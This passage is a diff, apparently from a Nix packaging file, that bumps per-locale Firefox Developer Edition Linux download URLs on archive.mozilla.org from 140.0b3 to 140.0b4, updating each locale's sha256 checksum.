+      sha256 = "f99f746fb9d1996cc2aec0881c78d01d871d5c0feae57ac07f2a81cf4b295247";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ast/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ast/firefox-140.0b4.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "7b54f6306df1d779f7c692c4cbf1060cc0f443c9234d0aecb09e1bc78e1de22c";
+      sha256 = "becb101ca6fbcf2452ff5d025524b465815ebebb3507f3f2f24c42ef1e2cd2cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/az/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/az/firefox-140.0b4.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "45e2236c7e83eda417a0245f80601eaf087e8f310ba676761a8ed288faa46fbc";
+      sha256 = "1c8ce7b3c1a3d0fe79f2039d0386cc8bfb36583331db2e76d4fef0e36fe3dd01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/be/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/be/firefox-140.0b4.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "7e46760ae218ca80e46c522a434ddc271032f0b889b13dd4073b5d93fbba5f6c";
+      sha256 = "0e24d3516d2a464e9bbf4b575c8f3ab54c724102c89d19890c3a629e3d53d4aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/bg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/bg/firefox-140.0b4.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "d11e32569be7aeafba8311125bb3e780d368884da19aaf361f96715598e50af3";
+      sha256 = "d7184793c5aaf2d53a15de10f97a3f74a04f47a17a4864a3ab0fdd082d14c8ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/bn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/bn/firefox-140.0b4.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "f307138cb195a25fccfad8690cd9df89ed8628e9b231fa2b21dd1a656d74e5a4";
+      sha256 = "5b29c8c9dea8541a00c94b35af1b05681b3f7e5533f50724bbcdfad23fe4b374";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/br/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/br/firefox-140.0b4.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "5b4c27e5808a1d19b510d5a931717ac55293a6cc02252f4c270bc0777e64595f";
+      sha256 = "90e8da40dc2fad16a3fcee7fd04e7d8b9507dd0bbeb343f1feb5cead4351a53f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/bs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/bs/firefox-140.0b4.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "8ca82eddb17ecb7a541164be9a734b54f44e6feeea1e3462aa20fffee1467af5";
+      sha256 = "a2aca9afe6c3bc00d0f3c885a29d4ad6537a5a9f9e34bec196592c8c18d7fd09";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ca-valencia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ca-valencia/firefox-140.0b4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "8e0e1e0f6aa9c491c6c25bb4d8e6c854f586a3a9a0440543cadfcb09143d1086";
+      sha256 = "5d4bc97a8726f34b93d1c066e7417904be8017e209a912eb08116d97a21d4350";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ca/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ca/firefox-140.0b4.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "101b5dc2694ce773c9d628706645bc27cf608345a1b8bf3894353764c1a13864";
+      sha256 = "2a33c442ae382b834a78ee4358f0771bb6edd5c6382ec9f298861a2eca11b79e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/cak/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/cak/firefox-140.0b4.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "028afcc9ed2a40bf4535ee2bf331b36574dc159409b32b412748b2157bc2aced";
+      sha256 = "e0d45404dee8ee5bdf301fbafd876d6a20597d0bf52a7765aaa5069115825f3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/cs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/cs/firefox-140.0b4.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "730515c63ad7fbd3543dcfae768a2495ada40402d78c44c3463965af3878a01f";
+      sha256 = "892e04a3707da1bcf31d1b7ebf3ca896e4eb28e833fde42c0c86d1d6bc4f7ad3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/cy/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/cy/firefox-140.0b4.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "fb73eaa612722e786bdcaf323bf6aff9103e0456b6f8287405d6ebb5f92d5fdb";
+      sha256 = "51251020df6ef2436f91994c7bd6760bc27ce79f24f4044dc27ea35a827508df";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/da/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/da/firefox-140.0b4.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "3e8c814920f3877ec2f64fb717485c00afa09c9643b9db8a5607aa8d1e8c5838";
+      sha256 = "d0a7f95babaf32f19267f36a1553159a340187deb131a8c68c6807e15afeca32";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/de/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/de/firefox-140.0b4.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "2f2dd73b28f425a3754cbb684c16ba1a9c60b30381bf4736d2bf7ef7fc37d445";
+      sha256 = "df0c0ab4772c2004be8fb9f1db5ca8d00ed2ef4217c60138db991c2b5dbbe439";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/dsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/dsb/firefox-140.0b4.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "2825a53c1b516060f4bcb833576fe1f76ad33000508ff32a87e7c00848f75d92";
+      sha256 = "af4a92e19e01ab664e26b7c59fe34a230f4dd3bfcc4bca59d1d71a46936d7800";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/el/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/el/firefox-140.0b4.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "2afe5eb918e04946370312bca943c95dc61e325bc377b1505d187e08e0c93dce";
+      sha256 = "ece534644114af64ee062608aeb0d04c7fedacde76c80ace8931692a89213015";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/en-CA/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/en-CA/firefox-140.0b4.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "119a7459fca0b0b7c628bc92768094a4a3fb3b178d22e68e85b976c69b55b766";
+      sha256 = "494aa1d40b6faa19bf16be5f75a8eaec0b6903e22a3b85bf6db969815c67e744";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/en-GB/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/en-GB/firefox-140.0b4.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "b0d8aff50786434a3b6b80edff341d41d9ed818304d751edd7c7d53170648260";
+      sha256 = "8cb6a84fb9fcc27115de62396eff3a24de1b4eb87fdbba649536d4a877bb9e90";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/en-US/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/en-US/firefox-140.0b4.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "8f54302d625b89f1db74c8f3d5025ffe8971e3a43b39a3cecd7c32c37f3b4725";
+      sha256 = "4e7af27ab23d6b5da4cef54989c510612f55ec058f53106b1f51152b25db4d9b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/eo/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/eo/firefox-140.0b4.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "4529ff104a621c97840449faab5b03fb8f3916997423ee63db602225c8372ec9";
+      sha256 = "fd5a6ab7fc1748b1444f655ceafe5fb83441baa6ad70b10aed44a2e973dc7f33";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-AR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-AR/firefox-140.0b4.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "9a0e3cd09ad714af64d65afae373ef239f9c4c469d6293d3c57d8abfb1b3027c";
+      sha256 = "16a4e466fc24c65736ebbf83ac2cba1fdc0f74ca28a10faf0c5748776bf0c1f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-CL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-CL/firefox-140.0b4.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "03c07d9194c3ee8fe333277c6db6aedbb31a5fe7de6fc220ef874ca01ccc38fc";
+      sha256 = "9750c945c67f351ac9a8d5be40cefee79f4dd6974cfdcd5f1f7162da8d2466f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-ES/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-ES/firefox-140.0b4.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "8f78062de562b3ad21380d2f83025d9becdeb690067e349e2f4a8d91444c929e";
+      sha256 = "f174e7a9ad5d95dabede5e2339b1750c6f85e2bb0d1f8dc654d242ba00b39c00";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-MX/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-MX/firefox-140.0b4.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "fadb26f00d4242ab739c7a7882694334334f2f302daafd6cc27f1501cacc7b09";
+      sha256 = "b9257a36159ad9e65fde2e5580efafa722600d6a27ac2996fbba49fb2fbe0c08";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/et/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/et/firefox-140.0b4.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "a7914688687d6af80ace9d06f25c94c61de73b2503cc159218d7aaf72e32d033";
+      sha256 = "d1c583e56238a293e1fbe9eebfb6cbdc33eafec1c5286ff5765debd2f68b0ce4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/eu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/eu/firefox-140.0b4.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "c6f2b792311d762f65705850224ed4c602506d015e09f8a7111600228f9d1b62";
+      sha256 = "def0cd7abfc22a6f60927bd232ac93d504ddb26e3e4983d9708e31b7341db75a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fa/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fa/firefox-140.0b4.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "03ea78dba2c87986d50969b290efad780cda9489446f85ac1ba2bb0ad6296288";
+      sha256 = "44e74ebd3258cc16be4e2d9f6718b08e7e6c60f0239f990006727c42662d925f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ff/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ff/firefox-140.0b4.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "ea9c38f732307ad4754efe2c226339f89c0c6b5769e5fc268a72ffae7cde9ac7";
+      sha256 = "bde7c76e9728ba604b297d6924034983f7846077daba3fa959710bbd18f3e525";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fi/firefox-140.0b4.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "c531eb2057c40f2d455f14436e6cf16a034cf49a1b4b90c5faba395914c03128";
+      sha256 = "e71fe4950ab0395cadce49dc7774940ff126476004155270de788660963af6d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fr/firefox-140.0b4.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "4708706d7c14f88d3817396b707efbb6d2f1e89a86a883ee4696f1cbbefdb16d";
+      sha256 = "73d3bcd3efa9828c4c46dab307ea2fb7478700a8a4746aa81d35e31d969756ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fur/firefox-140.0b4.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "839db9631d3c62afb20e01021f6b40a0e363a0769b3aaa8ada93a54a6e7eeb59";
+      sha256 = "e81e8ad39b55548bc88666bb7adc03ce18fc5ba57d31c0d94c90202897e29cc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fy-NL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fy-NL/firefox-140.0b4.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "da0eaeba745c98c328dfdffbbcdb736592e2d954cdb4fdd7cfb118022cf41589";
+      sha256 = "c064a6fdb1b474f9cce223691e216a9a232041326b1ef1dc47175c406e7619b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ga-IE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ga-IE/firefox-140.0b4.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "f6450fe5f26a8982d203f40ede0c4078616aa64b4e38cdc3469d0761c66b6a42";
+      sha256 = "09fd356ab21d082b7b2ca96ac05bbc8691e0b833a96cd20e01058228506fba7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gd/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gd/firefox-140.0b4.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "f8ed572d188f31f3eed7611e066d5cc69cc3bedb7343f363636d69de90d7232d";
+      sha256 = "2c2128f710ef3ff6d462c9420d1e0080a280fbe74279b99fd48f90b607b43dce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gl/firefox-140.0b4.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "c6b70f14ef92d23bb6cebbf5dcaf02109de4c394aa1cafc31e40debbcbb1bff5";
+      sha256 = "8bd114ad5da25dbd4672519939d39e1b865abcdb64d672f51a66b7ffbdadb68d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gn/firefox-140.0b4.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "8dd15122d585c9fdf62e8e621f57aa23a836735c2d9c4fb9fafae0b70f6df657";
+      sha256 = "8af55045fcf0f4f28f1ce09e5a540c6a28ac2f7040a0f41599298fdbc898a750";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gu-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gu-IN/firefox-140.0b4.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "601ac9297c27b22c4cd98418dda1c74aeddf053370e23b81350f36a0b205f0e2";
+      sha256 = "a05701804e12296468c1c5b0f41352117c3564e81987d9f085a1a5aa21ff8345";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/he/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/he/firefox-140.0b4.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "e824e40a538a6a0edde1829356553068adc5e45ca374ac85872f08db0e6486c2";
+      sha256 = "569bfc9273743adf40a346f9d921ea9828e1356d384969287dca95d4f008d7a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hi-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hi-IN/firefox-140.0b4.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "d6702ab83ff039ebb36fe821f2d709db2931ac4eb548962b040efc198e259733";
+      sha256 = "07b8ba1226e79cc94cd081d7a845b9d2f19960cd622cb1b09f7e03bd2ae07bf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hr/firefox-140.0b4.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "7bfca4956e083d6f38d3933ab86a10148e0cc03778c3b2f6c9e3d61612a99b1c";
+      sha256 = "212bdc93f22821083001f8e605fcc3bb898a2af5aa03adcfe5361f72461142c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hsb/firefox-140.0b4.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "eba453fc2a0e9aec31ba386075e7f7cf242f4fb2833405c8afe698541d636b4d";
+      sha256 = "7d4ea28a2c6adaf9e71f4694d35f7aece693b6f4e3634ce21df45e7c0c0145dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hu/firefox-140.0b4.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "f9fac27391f5153cb58d346b82bc4573fd57d5c7ed07e7b72c6a11e7acfc2ac8";
+      sha256 = "9165f21b67d2714d2704f23c93026c1ceecca3db09faaec9782640fef16cbc0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hy-AM/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hy-AM/firefox-140.0b4.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "1ffeb772517aa1e6f9e6f08d555af0971c4b9fcf3cb8bfc5bebaf29a338cda4e";
+      sha256 = "ce04cecbfcac04037bce64d5cd06995416cbfd4232dae04515fd0edf8a1fb6eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ia/firefox-140.0b4.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "1aa3caf5120a9820b9edcacb6298c878581caf93b302ac4220e4728ede2ccf8d";
+      sha256 = "241daa6215d95180879c077a94733058d804e9b08aa285f50a07362e95955fce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/id/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/id/firefox-140.0b4.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "2980f208cf2aa93820ae71ac0b2e6fdde04f1415696d3f567df0493a24808450";
+      sha256 = "563114161ebad123b8c98d53fd45dc4f42a36c43699b476039fc136503f4a3d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/is/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/is/firefox-140.0b4.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "183bb6118e8662225778d20e17913afa0879940a5999a0460bf9ba9ae68d5f2b";
+      sha256 = "aceeaea1d110c7404eb6514dc2c0bb498cfc0f7dc01fe49b3b28362672adacb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/it/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/it/firefox-140.0b4.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "f416fe140d45ed47aa0c02360293d523aafb1492807685b3cc2dc4bc09420272";
+      sha256 = "9f723893095f114ad85e1efeb8241018e77fe2c67c130d7c1e3528347d83e7df";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ja/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ja/firefox-140.0b4.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "b6a34c1e539480a7b8ca0c4bd090860b5015a34640682b160a39d69cdb5673c3";
+      sha256 = "3e4c5d1b66bf80cf6c60c30394852c4413157bfe00c04648dabec7d461d83685";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ka/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ka/firefox-140.0b4.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "793231033ad0ad9fcce4e8aa4ee879cc17633141e1c20a1fe90882206725df95";
+      sha256 = "39c96201f2965d1c4e04bb7e10b380d2fba4466545c6f7ed6065466edeb796cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/kab/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/kab/firefox-140.0b4.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "087e30c622398a27a3e347f9f459e6848c20f2597cfa4c4c98c8fec80693f656";
+      sha256 = "785ed68e6de6fe0c683b424aa985649e0057bcceb3fff29389df590662019b6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/kk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/kk/firefox-140.0b4.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "52b8b0c10f32c536812c0cf845c41d7c95c4b8c8f9d9a3dede5d825f1ec8c0f1";
+      sha256 = "ed6314351021e49aa00ea3121545d17b884d0a016b210e80ae4a0426ff5089f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/km/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/km/firefox-140.0b4.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "4e7fcf965198dd9baee10c5b63dcea3216d1a2b83c020983dae93cdf5ced4d0b";
+      sha256 = "03af2b330ca148cd24a5155fbc31f331b4cc849dc65fc92aa566652a692118ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/kn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/kn/firefox-140.0b4.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "a89e05fc8332f57dbf410ba11decf426bf10f3b71e1163956f7f7c404da51d6d";
+      sha256 = "5af858ea0c84882e6f432ce0cb49b890dd9dbfc77f7f0a1df3e9dceb2a055857";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ko/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ko/firefox-140.0b4.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "4ca7970f60c7a95fd5c58f53cf68906034ef1ca262927eb73cb1cb0d216500fb";
+      sha256 = "e05d5fbf17993d217ee9c87935181540b1fb3fae861e9c9432c677a144d6d5a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/lij/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/lij/firefox-140.0b4.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "748419cd7a0dd5581c7d47834eac40137230b2f463fda146719101f01c664336";
+      sha256 = "ff343e1471223c89b91b7dd5ec432517907cc3e2f7abfb4652a3fcb6c327ff39";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/lt/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/lt/firefox-140.0b4.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "0bbb8a4755356624b4aa9eedf6c483ff6dac7117ad1eceeac01a85960c9b8f02";
+      sha256 = "7b200ec16524ca006ecbe4a9110a1c18d7d795e71be1f46d402f494de194c3f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/lv/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/lv/firefox-140.0b4.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "391c3656a3656666d85f84b2130ec5946bea5b70e409bf500ded2f375944a683";
+      sha256 = "ec4214a35bfa6fadef80a22a68f74bfa493d98f2a1c9ac56d795ddab892e1154";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/mk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/mk/firefox-140.0b4.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "07dd87129e2c65cc05f8c300b4e2d9ad23f6dc3e3a9f7cc0b7851b4cfbf23808";
+      sha256 = "12224a1d1326bb76fccecdc44ef10b943a348c5db0b0986fe1f973a515496c23";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/mr/firefox-140.0b3.tar.xz";
